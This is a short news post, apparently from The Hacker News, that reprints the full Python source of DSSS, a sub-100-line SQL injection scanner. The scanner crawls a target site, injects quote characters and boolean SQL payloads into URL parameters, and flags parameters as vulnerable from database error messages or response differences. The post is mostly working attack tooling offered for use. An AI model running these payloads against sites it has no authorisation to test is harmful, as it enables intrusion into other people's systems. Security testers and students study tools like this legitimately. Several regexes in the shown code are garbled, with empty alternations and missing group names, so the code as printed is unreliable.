Damn Small SQLi Scanner (DSSS) v0.1b - 100 Lines Python Code
The Hacker News
SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries). The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It happens from using Microsoft SQL or other poorly designed query language interpreters.


Source Code :
#!/usr/bin/env python
import difflib, httplib, optparse, random, re, sys, urllib2, urlparse
NAME    = "Damn Small SQLi Scanner (DSSS) < 100 LOC (Lines of Code)"
VERSION = "0.1b"
AUTHOR  = "Miroslav Stampar (https://unconciousmind.blogspot.com | @stamparm)"
LICENSE = "GPLv2 (www.gnu.org/licenses/gpl-2.0.html)"
NOTE    = "This is a fully working PoC proving that commercial (SQLi) scanners can be beaten under 100 lines of code (6 hours of work, boolean, error, level 1 crawl)"

INVALID_SQL_CHAR_POOL = ['(',')','\'','"']
CRAWL_EXCLUDE_EXTENSIONS = ("gif","jpg","jar","tif","bmp","war","ear","mpg","wmv","mpeg","scm","iso","dmp","dll","cab","so","avi","bin","exe","iso","tar","png","pdf","ps","mp3","zip","rar","gz")
SUFFIXES = ["", "-- ", "#"]
PREFIXES = [" ", ") ", "' ", "') "]
BOOLEANS = ["AND %d=%d", "OR NOT (%d=%d)"]

DBMS_ERRORS = {}
DBMS_ERRORS["MySQL"] = [r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."]
DBMS_ERRORS["PostgreSQL"] = [r"PostgreSQL.*ERROr", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."]
DBMS_ERRORS["Microsoft SQL Server"] = [r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"Exception Details:.*\WSystem\.Data\.SqlClient\.", r"Exception Details:.*\WRoadhouse\.Cms\."]
DBMS_ERRORS["Microsoft Access"] = [r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"]
DBMS_ERRORS["Oracle"] = [r"ORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"]
DBMS_ERRORS["IBM DB2"] = [r"CLI Driver.*DB2", r"DB2 SQL error", r"db2_connect\(", r"db2_exec\(", r"db2_execute\(", r"db2_fetch_"]
DBMS_ERRORS["Informix"] = [r"Exception.*Informix"]
DBMS_ERRORS["Firebird"] = [r"Dynamic SQL Error", r"Warning.*ibase_.*"]
DBMS_ERRORS["SQLite"] = [r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::"]
DBMS_ERRORS["SAP MaxDB"] = [r"SQL error.*POS([0-9]+).*", r"Warning.*maxdb.*"]
DBMS_ERRORS["Sybase"] = [r"Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"]
DBMS_ERRORS["Ingres"] = [r"Warning.*ingres_", r"Ingres SQLSTATE", r"Ingres\W.*Driver"]

def getTextOnly(page):
    retVal = re.sub(r"(?s)|||<[^>]+>|\s", " ", page)
    retVal = re.sub(r"\s{2,}", " ", retVal)
    return retVal

def retrieveContent(url):
    retVal = ["", httplib.OK, "", ""] # [filtered/textual page content, HTTP code, page title, full page content]
    try:
        retVal[3] = urllib2.urlopen(url.replace(" ", "%20")).read()
    except Exception, e:
        if hasattr(e, 'read'):
            retVal[3] = e.read()
        elif hasattr(e, 'msg'):
            retVal[3] = e.msg
        retVal[1] = e.code if hasattr(e, 'code') else None
    match = re.search(r"(?P<title>[^<]+)", retVal[3])
    retVal[2] = match.group("title") if match else ""
    retVal[0] = getTextOnly(retVal[3])
    return retVal

def shallowCrawl(url):
    retVal = set([url])
    page = retrieveContent(url)[3]
    for match in re.finditer(r"href\s*=\s*\"(?P[^\"]+)\"", page, re.I):
        link = urlparse.urljoin(url, match.group("href"))
        if link.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS:
            if reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, link])):
                retVal.add(link)
    return retVal

def scanPage(url):
    for link in shallowCrawl(url):
        print "* scanning: %s" % link
        for match in re.finditer(r"(?:[?&;])((?P\w+)=[^&;]+)", link):
            vulnerable = False
            tampered = link.replace(match.group(0), match.group(0) + "".join(random.sample(INVALID_SQL_CHAR_POOL, len(INVALID_SQL_CHAR_POOL))))
            content = retrieveContent(tampered)
            for dbms in DBMS_ERRORS:
                for regex in DBMS_ERRORS[dbms]:
                    if not vulnerable and re.search(regex, content[0], re.I):
                        print " (o) parameter '%s' could be SQLi vulnerable! (%s error message)" % (match.group('parameter'), dbms)
                        vulnerable = True
            if not vulnerable:
                original = retrieveContent(link)
                a, b = random.randint(100, 255), random.randint(100, 255)
                for prefix in PREFIXES:
                    for boolean in BOOLEANS:
                        for suffix in SUFFIXES:
                            if not vulnerable:
                                template = "%s%s%s" % (prefix, boolean, suffix)
                                payloads = (link.replace(match.group(0), match.group(0) + (template % (a, a))), link.replace(match.group(0), match.group(0) + (template % (a, b))))
                                contents = [retrieveContent(payloads[0]), retrieveContent(payloads[1])]
                                if any(map(lambda x: original[x] == contents[0][x] != contents[1][x], [1, 2])) or len(original) == len(contents[0][0]) != len(contents[1][0]):
                                    vulnerable = True
                                else:
                                    ratios = map(lambda x: difflib.SequenceMatcher(None, original[0], x).quick_ratio(), [contents[0][0], contents[1][0]])
                                    vulnerable = ratios[0] > 0.95 and ratios[1] < 0.95
                                if vulnerable:
                                    print " (i) parameter '%s' appears to be SQLi vulnerable! (\"%s\")" % (match.group('parameter'), payloads[0])

if __name__ == "__main__":
    print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
    parser = optparse.OptionParser(version=VERSION)
    parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"https://www.target.com/page.htm?id=1\")")
    options, _ = parser.parse_args()
    if options.url:
        scanPage(options.url)
    else:
        parser.print_help()

Found this article interesting? Follow us on Twitter and LinkedIn to read more exclusive content we post.